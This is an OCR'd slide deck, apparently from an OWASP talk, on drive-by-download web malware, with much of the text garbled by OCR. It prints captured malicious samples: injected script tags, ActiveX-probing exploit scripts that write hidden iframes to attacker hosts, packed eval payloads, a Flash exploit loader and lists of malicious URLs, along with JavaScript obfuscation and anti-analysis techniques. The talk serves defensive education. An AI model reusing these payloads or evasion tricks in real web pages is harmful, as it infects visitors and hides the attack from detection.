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m \Web-based malware, specifically, drive-by-downloads,
have been rapidly evolving. Web-based malware are
written mostly in script languages, whose dynamic
features make it easy for obfuscation and therefore
difficult for static detection. Recently, many new
obfuscation methods have been observed, some of
which actually took malware obfuscation to the next era-
-they were malware steganography methods instead of
obfuscation. This talk discusses what Web-based
malware are, what threats they bring, why they are
difficult to detect, and discuss free resources within
OWASP and also free ones outside of OWASP, that can
help us flight this threat.
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OWASP Top 10

W OWASP#RZEI10- fJ'EiEli‘JWeb Security(2007 Top 10) Fﬁj,{é‘g

Cross Site Scripting (XSS)

Injection Flaws (SQL Injection, Command Injection)
Malicious File Execution (NEW)

Insecure Direct Object Reference
Cross Site Request Forgery (CSRF) (NEW)

Information Leakage and Improper Error Handling

Broken Authentication and Session Management

Insecure Cryptographic Storage
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Insecure Communications (NEW)
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Failure to Restrict URL Access
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Malicious Webpage Report In Taiwan

B 582 malicious Webpages (Malicious link Insided)
B )71 active malicious links (Drive-By-Download)
W /) different spywares

582 Webpages had
been compromised.

221 1s active! Onlv 72 S ares
(Drive-by-download) Y P

Exploit Code
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Figure 18. Malicious code that modifies Web pages
Source: Symantec Corporation

Symantec Global Internet Security Threat Report Jul-Dec 2007 OWASP 0
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Fie Edit View Help
<td background="/images/copyright bg.jpg" height="5&"

class="copyright">

<div align="center"> &copy;200& Health & Life Co.,Ltd All Rights

ng Ho City, Taipei County 235,
prget=" blank"><img src="/images
'17" border="0"></a></div>

</trs
</table>

<script src=http://%75%c9%cE%31%2E%c3%0E></script><script src=http://
2 T75%E0REER3I132ER6I%EE></script><script sre=http://%75%60%6E%31%2E%63
YEE></script><script sro=http://%T5%C0%cE%31%2E%63%6E></script><script
sre=http://%70%69%6ES32%2E%63%6E></script><script sro=http://%75%69
$EER3Z2%2E%63%6E></seript><script sre=http://%75%c9%€ES32%2E%63
%EE></script><script sre=http://%75%69%6E%32%2E%63%6E></script><script
sre=http://%75%69%6E%32%2E%63%6E></seript><script sre=http://%75%69
LCE%I2R2ER6INGE></script><script src=http://%75%C9%CER3I2%2E%63
$6E></script><script sres=http://%75569%6E%32%2E%63%6E></script>
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Eile Edit View Help
try{ wvar e;
var ado=(document.createElement ("object™));

ado. secAceribute ("classid", "elsid:BDO6CS56-65A3-1100-983A-00CO4FC29E36") ;
var as=ado.createcbject("Adodb.Stream”,"")}
catchie) {};

finally{
if(e!="[object Error]"™)|{

document .write ("<iframe width=50 height=0 aroshttp://m.tmdgg.cn/axl4.gif></iframe>") }
else{

try{ var 5;:

var realllsnew ActiveXObject ("IERP"™+"Ctl.I"+"ERBCt1.1");]
catch{j){};
finally{if(j!="[object Error]")(if (new ActiveXObject ("IERPCt1l.IERPCt1.1").PlaverProperty("PRODUC
{document . write ("<iframe width=100 height=0 sre=http://m.tmdgg.cn/relld.gif></iframa>")}
else{

document .write('<iframe width=100 height=0 sre=http://m.tmdgg.cn/rell. . gif></iframe>"}}}}

tryl var gq;

var glworld=new ActiveXObject ("GLAVATAR.GLAvatarCtrl.1");}
catchi(g){};:

finally{if(g'!="[object Error]"){
document .write('<iframe style=display:none sre=http://m.tmdgg.cnfaxlz.gif></iframe>")}}

tryl var h;

var storm=new ActiveXObject ("MPS.StormPlayer.l");}
catch(h) {};

finally{if (h!="[object Erroxr]l™){
document .write('<iframe style=display:none sre=http://m.tmdgg.cn/bb.gif></iframe>")}}

try| wvar f;

var thunder=new ActiveXObject ("DEClient.Vod™);}
catch (£) {};]

finally{ if(f!="[object Error]"™){
document .write ('<iframe width=50 height=0 sre=xl.gif></iframe>')}}

i
Line 32, Col 14
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EFSRE T —REES BERTREPC » UTIEEE -
EEBMIREES (3) BAREATOEAAEEES, o

TEHEINEE ) (Zero-Impact Performance) B B1% » FEEHEMES - (FHEEEE
HEE: T aFEHE - R EREMIERESTom Powledges

BEEARE R A OERS » LIRAE  IRss  KEFEEIERE  TS8EESE
TR E 2kt » TheeskPrsassR kR » ATt SR ERRe R TIL S - i1
te T EHEPCEINEE » "X FIEEENERBEIEMERY  MEXRE |
Powledges «

&M FERFEZPC L » EATE - THIBYRMEEER(known good files) » &
mAdobe + OS5 » BI8E3% « OfficeF(ll » EERTRERY TSR SH R
BYFEER - FOONETRERIVEF » 4 5 PSS LEHNE - WEUFIRIRTEERY

rEfuad, (digital fingerpoint) R3RHIFESNRS - FHF] LIKIRSE B SEREEIERIRR
;
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W1 73 ApviEssg (Obfuscated Scripts)

m ([l |Javascriptis (7 R

b ED ““ﬁﬁﬁﬁjﬁj*ﬁi AY RLE ﬁ'ﬁ ﬁf}ElPJ B e B I
E’ﬁéﬂgﬁﬁljavascnpﬁ/@,o [,% | ‘ﬁ@ £l @l b il
{'ﬁn'ﬂavascnptﬁf?mEFEILI' % o
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<scr|pt language="JavaScript">e = '0x00' + '5F';strl =
"%%E4%BC%B7%AA%C0%AD%ACY%AT%B4%BBY%E3%FEY%AAY%B7%ADY%B7%BEYB7%B4%B7%AC%A7%E6%B8%B7
%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%ADY%AE%BDY%E3%FE%B8%ACY%ACY%B0%EGYF1
%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%ACY%B8%E3%EF
%C0%B8%BB%B7%B9%B8%ACY%E3%EFY%E2%E4%F1%B7%BA%AEY%BF%B3%BBY%E2%E4%F1%BC%B7%AA%E2";
str=tmp=";for(i=0;i<strl.length;i+=3){tmp = unescape(strl.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)e)-
127);}document.write(str); </script>

Lo R 0 e M L e W B

<div style="visibility:hidden">
<iframe src="http://hacker.net/>xxx" width=1 height=1></iframe>
</div>




REGHFIRYZ 2 (Javascript Packer)

|‘ﬁ5’§_k* 7 EI ZPMHTML, Scriptig,— =!
» Advanced ML Protector

= http://www.creabit.com/htmlprotect/

» Yahoo Javascript Packer (YUl Compressor)
» http://developer.yahoo.com/yui/compressor/

» Other Online JS Obfuscator

= http://www.iwebtool.com/html_encrypter
= http://www.cha88.cn/safe/fromCharCode.php




Javascript piaE Jﬁ e

B Name Obfuscation
) iﬁiﬁ}ﬂ"f[l{?v s [EJavascript iﬁii%j
P B BT R
W String Splitting
PJ%[;F%J%J o T B A Fl SET Jf%ﬁi’?iﬂ%ﬁf«?%ﬂfﬁf#

m Code Encryption
Q%jﬁ,@ﬂ g%@ T T R b L e

Tﬁﬁﬁ =y ﬁf& ﬁl ) f%gﬁﬁj;ﬂ F




Code Encryption

m String.formCharCode()

<script>
t="97,108,101,114,116,40,34,69,120,112,10

;Z‘i{'(lot;( A 8,111,105,116,32,33,34,41,59"
\ EXPIOI =), t=eval("String.fromCharCode("+t+")");
</script> -

document.write(t);

</script> 4

m By 8Bit, 16Bit, Unicode ...
» 8Bits string

<script>
t=eval("\141\154\145\162\164\50\42\105\170\160\1
54\157\151\164\40\41\42\51\73\12");
document.write(t);

</script>




Javascript Analysis

m 3 P 297015 A
EVIEEEAES
. J*:@&F’?E [fiveval, unescape, document.write<™fl}
. Document.wrlteclﬂz@’?‘falert A RL R Y E | <TEXTAREA>[[1

. ’?%E[ﬁ?%ﬁ%gﬁhrf@?9 M= 3gpvJavascript
FIJEI *JFJ;’_ ~_ =. (Debugger / Interpreter / Decoder)

ﬁ Rhino http://www.mozilla.org/rhino/

= NJS http://www.njs-javascript.org/

» SpiderMonkey http://www.mozilla.org/js/spidermonkey/

= Malzilla http://malzilla.sourceforge.net

= FreShow http://www.jimmyleo.com/work/FreShowStart.htm

4_,—s
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http://www.mozilla.org/rhino/
http://www.njs-javascript.org/
http://www.mozilla.org/js/spidermonkey/
http://malzilla.sourceforge.net/
http://www.jimmyleo.com/work/FreShowStart.htm

[FTI S

Download ﬂﬁnﬂrlnmcuﬂmhm]um | Clipboard Manitor | Notes | Hex view | PScript | Tools | Settings | About |
News Tab (1) |

Support fiker :

s Qeye | detects pote
+ Comnect

= NULs

+ Replace

* Raversa

Support decode :
+ ESC : converts esc3
« ASCII

» US-ASCIH

The latest version of F
You can download Fres
and a simple demonst
and view the history ¢

{

Rum script
Dwbug

var
var
var
var
var
var
Var

for (LAuS33e27=0;L8uS33e2T<256; LARSI3e27++) 15M72Hodp [LEuS33e27 ] =0;

var

function I71gyImSs(Du3B3hdKd)

mi0SluDSP=arguments.callee.toString() .replace (/\W/g,"'") .toUpperCase():

nBypanUir;

LBus33e27;
¥5kNlg2rdemi051luDSPE. length;
do2h3hE4X;

efONNls3G="":

15M72Hodp=naw Arrayl():

néypanUir=1;

for (LBusS33e27=128:LBuS533e27; LEBuS33e2T>>=1)

{

niypanUTr=(n8ypanU7r>>>1) " { (nBypanUTrel) ?3988202384:0) ;
for (evUpg725k=0;evlpgT28k<256; evlpgT 25k+=LAuS33e27+2)

15M7 2Hodn Tevlina 7284883327 1=01 SMT2Hodn FleavTina 7251 *nAvnaniTTr) 2

(" Replace evall) with
& Override eval(}

(" Leae as is

| ma ||

[~ Do not bother me with messages

Selection length: 14 [* **

|

Format oo

]

Script compiled

&




Anti-Analysis Javascript

WL %R TRREE P a S AT SERUTIEE Z7EANt-
Analysisf& o> ﬁ rJE LAVE :;:‘ﬁigr
» Anti-Javascript Interpreter
n PEINE 'if[L—xiInterpreter/Debuggerr[lﬁm YO RLE]
T
» Hiding Sensitive Calls with Member Enumeration
= [BymsDocument.write(), eval()
» Self Code Integrity Check
PP 125 AR > ER RSl

OWASP e 20




Anti-Interpreter

WA AL A e S s, o (R A

<script>

var count =0;

function loaded (name){
if(name!="bad")count++;

}
window.onload = function evil(){
if(count == 1) document.write("In Browser!");
}
</script>

<iframe src="http://bird1.man" onload="loaded(this.name);" name="bad" ></iframe>
<iframe src="http://bird2.man" onload="loaded(this.name);" name="bad" ></iframe>
&iframe src="http://www.hinet.net" onload="loaded(this.name);" name="good" ></iframe> /

m ="k PiContextr| Pt = Ha S 53
» DOM, Java Applet, Flash, VBScript, ActiveX




Hiding Sensitive Calls with Member Enumeration

m -3t document.write— ERIFILH? Kollsar,{ﬁ‘ B2 lkil(E
OC

<script>
h = this;
for (i in h) //find document object
{
if( i.length == 8) {
if( i.charCodeAt(0) == 100 && i.charCodeAt(7) == 116){

break;
be
be
by
for (j in hJ[i]) //find member function write()
{

if( j.length ==5){
if( j.charCodeAt(0) == 119 && j.charCodeAt(1) == 114){
break;

}

}
}
hli1[j] (“;ﬁ%ﬁ%ﬁ‘ IJ#20...Coolt™);  //5T document.write(...) /

script=>




=

S ANER ﬁ, f 3R Thl - ﬂ:ﬁffj @Eﬁﬁi' 51

H QF&, 7J FJZ+

> =5 (= E T S davascriptihh 5 » 1l W,[EIF_J
= iz feval ? f&’?‘f documint write(..... ﬁ LiF |E|

B LR e ORI ﬁ?
function 171gyImss( .. )
{
...~ HeEEIERIcode..

Document.write (Fh= EEEfREYSTring) ;
}

171gyIm5s("9AB6a4a’A...);




Downioad Decoder | Misc Decoders | Log | Chpboard Morstor | Hotss | Hex view | PSeript| Tools | Setings | About |
Meew Tab (1] |

1tdd¥4YFL[LEusS33e27]=20;
i
alsa
{
s1g3g4B5M=0;
Wi24aMdhrsL8us33e27;

B (e fONN1s3G) ;

ITlgyImSs (' 9ABEad4aTADIDa4ASS54 97 6DabidEéBI6DIETTSER3IBCTSTOTARdT 3a2aB62RFABSEAG61IARTATORAEDEDOGEAT
B581%an69CachlatadBERCEIIE38A0adobatEéTARRY ERABBIIFD2a05c5e65ACatatn0InsT a5 63 89dADT 3A0605CIe5dEF

Fun script " Replace eval) with |
& Override avall)

—I  Leave B3 is I Do not bother me

Vl_rlib  ~(v,7T0T> ~[AT4I:es!{iRb{eE/vK:5]8LYrEf]
~MpcVBRR ] {, fic/ebagk:YP.;imb(5C/g¥g’'nXinas RSmUK =
&5Fogel Cgpj »>Hi~UpGAT. mh/%reRil0 J°oe ﬂ:[v“v*m‘a-ﬂ'x‘f 4 1g"'nX:#) >Hi~-UpGATLA< (v"v
*WWe. 7IVTE uSINSYY1>.R3fbe LAF fi(Vo.B8*B.557Xun7iX+LiF | L {51 kuS)NSYY1>. TebaGk:YP.>1/!0107
=} F=#w56 = GFHOBY"";)}C20, '-h.u:agx.? T1BGE=4, BTQ-'DFHHED..]J;E‘JJPIEK ~LAF fi{Vo Al n
<GQEYO4REWIWEY*B (5, TENE7WvDs <GgsYO4RKWINFY*B( NmebaGk:YP.) .2V ( ZOyiUQW2pSoKora (' 0X55

-8, |EnI&"pZE4bkSd]} Fg. 6. "RvGD*h4" 3 Bv(E5<" {q=>Hi~UpGATL xgDac'"\0.7iI%<S~ic[RbK'sjhg ]1j_e-2[2
&l 5*5(MN0 n5\T$9]6>+ 9' FES7:"%1,nae ‘-‘GHKIE"E_'I:I:- 4cbij7!:iRb (ab?54" “wgL*3%S+xgDac'™\.nS\T
S3]V4Y*5A" P*9(,.¥n Thv(23<"(q<#é B-iVRItj:S4%*SA'F*9),mxgDac"™ %\ . nS5\T59] &chDdz2Z)} (5' Ge
~MpcVbER] {, fic/bDWSCL  “o=aVg(2jal Cgpj UiR|fdeé) . ~&x[45]i6]tfgg¥+n’ D' (WngF gl !+L&F fi (Vo-
=G3D' (WngF~g (l¥r ETRigmSem-jigluHI&>S, TENE?WvIGjd<B<aMTNSS I MunTYEME " J?wl= SGd/[TE" oW /EEN-
-XDVE25 _~,x~ ET8égmSe=_E)§ (GU(=I -r?.D1)DPu(c<5)JbDWSCL ~o[7%"'oW/fZN-xgDac' "\r aed_1VPl (GU
{=I-r? + tdsX krS5sE57°7LS, TESWL?WvU=")+n¥r >BUIReS* (-8,¥r cl:'rbCSC+-R ra>]1l°dd3. ggz QqU
<RATSbIbk5d) Fg. 60" SISRQ2ZgUEV] e[, 2FXYh?SCESZthFH>"Jh5:D" 9 ~n=5"":, KGF§!v’ SBIF9iY[+5.W z S,
« TEWETWWS0. 35?KunTH,]1q1uH1&) i JZHmer!-\ k~R 1&R =t({B0" SIERQZ-;LT [fgkte 4({?“?‘““1}‘-3:1.]:1:13

ik

AN TYAM (- {) 1: J\aB2Qc gBNL (ABI:<4*XV~(u_].5:*Cl16*#)>,ulcg¥qTC)ll.5:*C16*#) =, ugr “RvcD*hd’ =|

OWASP O 24




Demo

mYp T dCode o FURF T RIS e

Download [Decoder | Misc Decoders | Log | Clipboard Monitor | Notes | Hex view | PScript| Toals | Settings | About |
New Tab (1) |

[D4Tgfvifgl=0;var mbnV52hAt=1;for (D4Tgfvifg=126:D47gfvTig;D4Tgiviig>>=1) [mbnV52ZhRA6=(mbnV52hAG>>>1
) { (mbnV52hR651) 239088252384:0) ; for (oXHNY TQBX=0; oXHNY TQ8X<256; oXHNYTQRX4=D4TgEvTg*2) {EWyvdaOna |
[cXHRYTOBX+D47gfvT Eg] = (KWyvdaCha [oXHNYTQEX] “mbnV52hA6) s if (KWyvdaOha [oXHNY1QBX+D47glviig]l < 0) {
{EWyvdaCha [oXHNY7QBX+D4 TgEvTEg] +=42545672596; ) } JpvSicdlly=4254%672595; for (mbnV52hAe=0;mbnV52hAG<
<bxbrulUX66; mbnV32hhaé++) {pvSicdlly=KRyvdaoha[ (pvSic4lly~"tETvNI4bO.charCodeht (mbnV52hA&) ) £255]~((
(pvSicdlly>>8) 5l

~4294967295;1f (pvoicdlly<0) [pvSicdlly+=429%49672%6; }pviicdlly=pv5Sicdlly.tostring (16} .toUpperCase |
) ;var jDdbSDoOw=new Array():;var bxbtuUX66=pv5ic4lly.length:for(D47gfvifg=0;D47gfvTEg<E:D4T7gfvifg++
) {var TdaSXuSrl=bxbtuUXEE+D47givTig: GwsLOEVUT [DATgEvTEg] =l GwsLOKVUT [D4ATgfvTig]=p3GS2inovi iE |
(Td85XuSrle=8) (Td85SXuSrl=TdB5XuS5rlL-&; jidbSDo0w[D47gfviig]l=pvSicdlly.charCodeAt (Td85XusSrL): ]} alza
{jDdbSDoOw[D4TgEvifgl=48; ) jvar MAMXZ2mS77=0;var rY¥Y26cjClR;var rnMmdoUl3;var ByUIahL3S;bxbrulX&é=
=mocADCYZ2td. length; ByUIahL3S=bxbtulkét: pSGS2lnovell 23 pSGS2lnoveByUIahLl3sS; for (D4 TgivTfg=0;D47gfvi g 'I

R script I " Replace eval{) with | Find | Template
m Cwverride eval()

Selection length: 0 (0]
'——I (™ Leawve as is I-Dnrsulh-uﬁlarrrEMrneng ~—“;|

var vMNvFGla = document.createElement ("script”);

vMNvFEla.setAttribute ("language", "JavaScript"):
vMNvFEla.setAttribute {("src”, "7t=235415278094r=606868581eh=1308460050826n=353965076&f1ag 1"}

document . body . appendChild (vMNvE&la) ;

Script compiled




Self Integrity Check

mHE e PV Source Code*"é.f,’ [ key

R ™ iFFCode# TN ?

function testCallee(){return arguments.callee}
document.write( testCallee() );

¥

function testCallee(){return arguments.callee}

A _

Arguments.callee "pl 4 F¥F kL7 functional programmingfl! > &
recursive anonymous functions [fi* > ﬁﬂﬁHFJTJVE%Hﬂﬁ?”ﬁ5E A%

65 |
Reepzg e |

OWASP 0 26




Javascripts; Frivissy
m Javascript L script language 5! | ¥ (g
Interpreter / DebuggerFi &Yl ) AFrAd =" el
I FAE
» = Meta-Programming - Functional-Programmingpv
R DR E TR TR AR
> 2 E[Run-Time S e FEFEVE] 1% (SMC)
» Dynamic Typing Language » ‘ot ¥~ [ 7 OEET] -
[P Ay SR
» Javascript Interpreter = JF B ',Jr%X['[E{Browser
Behavior

OWASP e 27




PE Packer v.s. JS Packer

PE Packer JS Packer
Low level High Level
Code Type Binary Code Dynamic Typing Language

YES (Meta-Programming, use

Self Modify Code (SMC) | YES Document.write(), Very Easy )

Code Encryption YES YES (Very Easy)

Self Integrity Check YES YES (Functional-Programming)
Debugger Detection YES YES (Check Brower)
Anti-Instruction

RDTSC Check Timer Check

stepping

OWASP e 28




Sandbox#¥#fDrive-By-Downloadfiv sy #+
m {17 Sandbox 53 T i I | R B AR R EGRIE 1o 7 2

Web Crawler

. Spyware
bl HTML Analysis Behavior Analysis Behavior
Extractor

Malink Malware

; Find the final
Malicious Report malware source
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ChineseBusinessWorld.com

Do not know which travel center or travel agency can be trust in China? Do lioht Senvices

BraEME EE ME 0 HEEEE Cmal B£ v

GO Ogle invrl chinesebusinessworld com IR | BERLT

© FrEME O PR O TROIEE O SEMEE

Home | Site maps | Contact Us | Member Center: Register

TP -

+ Hotel Senvices

+ Weather Senvices

+ Currency Converter

HEMA

4 + Time Fane

Chlnese E!usmess WGrId Your China Business and Information Link O - [ #:EHE ]

Chmese E}usmess World, your one stop information source for business, travel,

entertainment,shopping, education and beyaond. nouncement:
www.chinesebusinessworld.com/ - 8 1{HH#EE - 02 S5+ M is looking Do
+ China Mailing List requested. Thank You. O v

+ Relocation senvice Partner.




i

ARy (BEIPRAE S LG R

REPORT DETAILS [htipcichinesebusinessworld.com]

_J Selected Monitor: chinesebusinessworld.com E:J Total URLs Crawled:

O status: Finished [=] Clean URLs:

(& crawl Time: Oct 23rd, 2008 - 16:11 [:.j URLs with suspicious links:
Gl Duration: 5 Minutes 43 Seconds |;| URLs with malware:

'\[ Depth: 4 Q URLs with defaced content:

URL Report:

|.:J Al URLs l;] Clzan URLs B Suspicous Links @ Makesare

|$III:I.I¢' Depth  URL

Pz port lime

SM [2] hitp:#fchinesebusinessworkd. comflinks. himi

v A @ Link Target httpeiitw.lovechina.tw.cnicountjs/gif.gif

@& Link Target httpzihwanw.wrmfwp.cnione/a2é. htm

Mahaare Injection

@0 Link Target httpzihwww.oiuytr.netinew/a279.css
injects
2] (LOCAL-DRIVE)/system.exe into the user's fiesystem,

the malware ¢
—_

' Drive-By-Download

ource !!
g




Demo

W http://tw.lovechina.tw.cn/count/js/qgif.gif

& FreShow by jimmyleo EI@

v1.50 codz by

URLIhttp:[,’tw.\ma:mna.m.cn/count/]sfgif.gif State Connected

document.writeln("<iframe style=display:none src=http:\/ ~ | Level Type Detail |
Vlovechina.tw.cn\/count\fjs\/swf2.htm><\/iframe>");
document.writeln("<iframe style=display:none src=http:\/
Vlovechina.tw.enl/countl/js\fold.htm=> <\/iframe=");
document.writeln(" <iframe style=display:none src=http:\/
Vlovechina.tw.cn'/count\/js\/tj. htm=<\/iframe=");

document.writeln("<iframe style=display:none -
sre=http://lovechina.tw.cn/count/js/swf2.htm><fiframe=");

document.writeln("<iframe style=display:none src=http://lovechina.tw.cn/count/jsfold.htm=</iframe=");
document.writeln("<iframe style=display:none src=http://lovechina.tv.cnf/count/js/tj.htm=</iframe>");

[v] il

- Db]l
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Demo

(ﬁés’

[ 44 Malzilla by bobby . | ) [

-
Download Decoder IMisc Decoders | Log | Clipboard Monitorl Motes I Hex view | PScript | Tools | Seth'ngsl Aboutl
Mew Tab (1) |

eval (fonction (p,a,c, k,e,d) {e=function (c) {return (c<a?'':e(parselnt(cfa)) ) +( (c=c3a)>35?5cring. -
. fromCharCode (c+29) tc.toS5tring (36) ) }:;if (! ' "' .replace (/~/,5tring) ) {while(c—) {d[e(c) I=k[c] | le(c) t k=]
[function(e) {return d[e]}]):;e=function() {retorn'"\\w+'};c=1};while(c——) {if(k[c]) {p=p.replace (new RegExp
("\\b'+e(ec)+'\\b', 'g"),k[c])}ireturn p} ("X (™ A\a\ A AS Ve a\ v ISV EN TS AN IAmA N TV 6 Am A T
WA BB G MM ARV AB M A A LML L BT EAE A I AT IA A BN T IR A g A DA BN 2R IR SN EAN TR BN,
AR AR AR AR AR AR AR AR AR AR AR AR AR WARTARTARTARY LR ARSARVARE-LRV-ART SRT-ART- LAY ART- LR Y- ARVARWARS ARV 1NN <
ARFARTAR ARV AR AR AR AR ARG AR EARY AR FARTART- ARV AR ARE ARTeARFARTART ARG AR AR ARVAREARCARE- AR T AR AR W ART-ARY -4 |u
HEb BV A SN LBV AN A DV ST TR A AN L O O 2N AW T E N O E N A A DV SV VAN A S A TR B A AR A D vk AR A
ARG ART: IR EARE AR AR IR AR AR AR AR AR T AR VARY- IRV AR AR AT AR (AR T-AR VAR DR AR AREARE AR ARE ARYART-ARE AR AR V. 1}

B AREARTARKARE AR EARNARE AR AR AR AT AR P AR ARTAREARTARY AT ARV VAR AR AR GARTARE AR AR AR V- AREART AR AR ARV
R AR AR R AR T AR A R A R - AR AR T R R R A e R AR R AR R AR AR AR AR AR AR AR Y- AR AR AR TARY: AR Y
ANV EVARN A A TR BB IVUEN BN O e B A I I A A I e N S A g A R A 2 A VA A G TR E A AR B I e AR
MAANANVENNEAADY A e WA S AAE RN I AR A TAAANA B I DN WA G LA ENVAFAMABV A A I mA A BN O\ WA IV e T

‘ Fun script | " Replace eval() with I Templates I Wide 2 UCS2 I

* Override eval() Seh PR
|| Debug | Format code I Show evall) resultsl
~ Leave asis [~ Do not bother me with messages

eval ("\1661\141\16240\166%1455162\163 1510157156475, 144\145\143415711564%14341454160\1641\5641234127
N106\117\1424152414541434 164412581641\ 151,154\56114741454164%120,154\141\171\145\1621126114511624163
A151N157MV1564 500514 73015412151\ 14645041664145016241634151415741564133474155%1414,152157\162\474,135
“ AT5YTSNTINEINI T3\ 144%1574143%165%155%145 156 \164\56%1474145%164\105\1543145\155\145%156%1644102%171
N111%144\50447%14611544141816341508166%14541621163 151\ 1574156447 5145641518156\ 1564145416241104124
WI1EV1148 750424424 T34 154 1241514 14645001664 145416241634 15141574 1564133, 474 162414541664 47, 135475, 75461
NELYE5\51M1 7301664141162 \40%163%157\754%1564145%1674400123412 7106 \11711428152114541434164%50\42127
AI1IN116M40% 71N 540604540614 61654544604 151\56%163 1674146\ 42%54\ 42155171 \155\1574166%151%145%42\54
\42460\56461,42154\42\ 60\ 56161442\54142,711,421,54\, 42} 43\ 60160\ 60\ 60460160442, 511, 734154121 163\157\ 56
A167N\162N\15141644145%50N42%1464%15441414163150414341574156%164%145,1561164442%51417541454154%163%145
\40%1514%146%500\16641454162%1634%15141574156\133\ 4741624145166 474135475\ 754666445141 7316641414162
N40%1634%1574 751564145816 7%40N\123\ 127106411 74142%152%145%143164\50%42\127\111\116440\ 71454\ 60454\ 66
V644 54NE0N 1515641630 16T 146442154442, 155, 171415541574 16641514145,424541,424 60\ 56 611,421,541,42\ 60456161
V424540428 71N 424540420430 60N 60N 60N 60N 60N 60NV 42N 51N T3VASN 12N 16315756167 162015141644 145504420146
|Script compiled

=
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£ Matzilla by bobby
Downioad  Deteder | Misc Decoders | Log | Cioboard Monitor | Notes | Hex view | PSaiot | Tools | Settings | About |
mrab{u}

LT AR ARE SARE FAE DASEIARL LARE FARERARESARE PARE T AN ARE EAGE LARE ARE LR E TARE R ARE LARE A 61&56& 13\ 7T -
N1OENIITALI42N 152 145 1430164 125N 1 A4\ 152154 \EEY 14T 145 LE4N 120N 154,141 \1 710145 o0 =
WISANISTALEA SO S VTANIENINISAN 146500 166N 145N 16N 16N 150NISTVISEN 123\ 47\ 15

AR AR FAT SRR R AR E AR E VAR E AN AAREEAREIARETARETANIARE AR E LA TANEAAREEARESLY
V1115144500474 1461540, 141%16341504166, 1451621163151\ 157156\ 4751561151 NS
VLIS 114N TEN AR A2V TAVIEN 12N 151N 146 SO\ 166 145 162N 1EA\IE1\1ET 156, 13247\ 16
WELIVESASLVITINIGE6E\ 141\ 1620400 163N 15T\ TSN 156145167, 401238127\ 106117 142},

17 | kLFlash Exploit
AEREARRE AR L AR AT LAY AR LAY SRV FAY A AR EAN IARE SR FARE R AR FARE AN FAR LA FARE L LR b At

W42 60N 56Y 610221 5442V 60N 56 611421 54 221, 711 421, 54 42, 431 60N 60N 60 601 60 60 42 (NN CVE LZOQ 0 1
\ &7 \ 52\ Bi\1 51\ iﬁ\ﬁ#\ii\-ii\ 54\-1 \ 53\ 55\ 13\ 57K 56\ 61\.15\ 5&\1 éi\in& i AW b AR

" Replace evall) with | Tiemplates wide 20cs2 |

 Chvermide
- \ﬁu-—. ﬁmw‘“*'

™ Leave asis [~ Dorat bother me with messages

o~
var version=deconcept.SHFObjectlUcil.getPlayerVeraion(): ///'
Af (version['major® |==9) {documenc.gecElemencById (' flashvarsion') .innsrHTML="";
if (version['zev']|==11%) {var sco=new SWFCbject ("WIN 9,0,11%,04i.swf¥, "symovie®,™0.1", "0.1%, "5", "$000000

so.write ("flashccntent™) jelse if{versicn(['rev']==£4) {var so=new SWEChject ("WIN 3,0, 64,041.2wi",
meymasTie™, "0, 1%, "0, 1", "0 "Ea00000")

so.wrice("flashconcenc™) jelse if(version['rev']==47) {var sco=new SWECbject ("WIN 9,0,47,01.awf",
"mymovie™, "0.1%,%0.1"%, "9", "$000000") ;

=o.Wrice ("flashconcenc™) jelse if (version['rev’]==45) (var so=new SWEOBjeec ("WIN 9,0,45,01.sawf",
"mymovie®,"0.1%,"0.1", 0", "FOQ0000") ;

=o.Weice ("flashcontenc™) jelse if (version['rev']==28) {var so=new SWEOhbject ("WIN 9,0,28,01.swf",
"mymovie®,"0.1%,%0.1", "5", "F000000") ;

so.Wrice ("flashcontent™) jelse Lf (varsion['rev']==1§) (var so=new IWEFObject ("WIN 9,0,16,04.8wf",
"mymovie®, "0,.1%,%0.1%, "8% *§0000007) 2

so.write("flashcontent”) }else if (version('rev']>=124){if(document.getElenentById) {document
.getElemencById( ' flashversion') .innecHTML="=}}}

‘Script compiled




|http:!!chInesebuslnessworld.comlwebservlce.html

cript [http:/tw.lovechina.tw.cn/count/js/gif.gif (lovechina.tw.cn - 80.190.253.183)

hxxp:/ltw.lovechina.tw.cn/count/js/css.cs
s (60.190.253.163)

iframe jhttp://lovechina.tw.cn/count/js/swfZ.htm

iframe |http://lovechina.tw.cn/count/js/old.htm
iframe |http://lovechina.tw.cn/count/js/office. htm
iframe |http://lovechina.tw.cn/count/js/06014.htm
iframe |http://lovechina.tw.ch/count/js/izZ.htm
iframe |http://lovechina.tw.cn/count/js/iz. htm

iframe |http://lovechina.tw.cn/count/js/sina.htm Malware Source:
hxxp://count.xj.cn/count/js/css.css

(60.190.253.163)

iframe |http://lovechina.tw.cn/count/js/UU. htm

iframe |http://lovechina.tw.cn/count/js/byff.htm

iframe |http://lovechina.tw.cn/count/js/realZ.htm

iscript  |http://lovechina.tw.ch/count/js/real.qif

iframe |http://lovechina.tw.cn/count/js/Real.htm

iframe |http://lovechina.tw.cn/count/js/tj. htm
http://countds.51yes.com/click.aspx?id=457288414&logo

script L1
iframe [http://Amww.owrmfwp.cn/one/a28.htm (www.owrmfwp.cn - 598.34.216.143)
iframe |http://zlwrnmS.cn/a279/fxx.htm (zlvrnmS.cn - £0.34.216.143)

iframe |http://ziwrnmbS.cn/aZ79/fx. htm
iframe |http://ziwrnmb5.cn/aZ79/ss.htmi
iframe |http://zlwrnm5.cn/a279/MsD8014.htm
iframe |http://ziwrnmbS.cn/sina.htm

Malware Source:
iframe |http://ziwrnmbS.cn/UU.htm http://www.oiuytr.net/new/a279.css
(59.34.216.225)

iframe |http://ziwrnmb5.cn/aZ79/Thunder. htmi
iframe |hitp://zlwrnm5.cn/a279/GLWORLD. html
iframe |http://ziwrnmbS.cn/aZ79freal.htm
iframe |http://ziwrnmbS.cn/aZ79/Real.htmi

cript |http://js.users.51.1a/1936348.js OWASP 35




Drive-By-Download Flow

Landing Site

Hop Point

Victim Machine
Ofop
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Malware Distribution Site

All Your iIFRAMEs Point to Us, 2008
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GHEERE (B [ 2008-8-24~2008-10-24 1 5FfHf )
# 122 18§ Hi 21

[ 1] .
L HE ( BE-EaFEN )
T
W H# =5 ) I
i
Jm MSIE 6.0 31924 68 2% F
::;g MSIE 7.0 3184 8.8%
s MSIE 6.0, Maxthon 346 1.0% |
8 MSIE 6.0, MAXTHON 2.0 167 0.5% |
HE Mozilla 4.0 148 0.4%
%‘ MSIE 5.01 92 0.3%
BT MSIE 7.0, Maxthon 59 0.2%
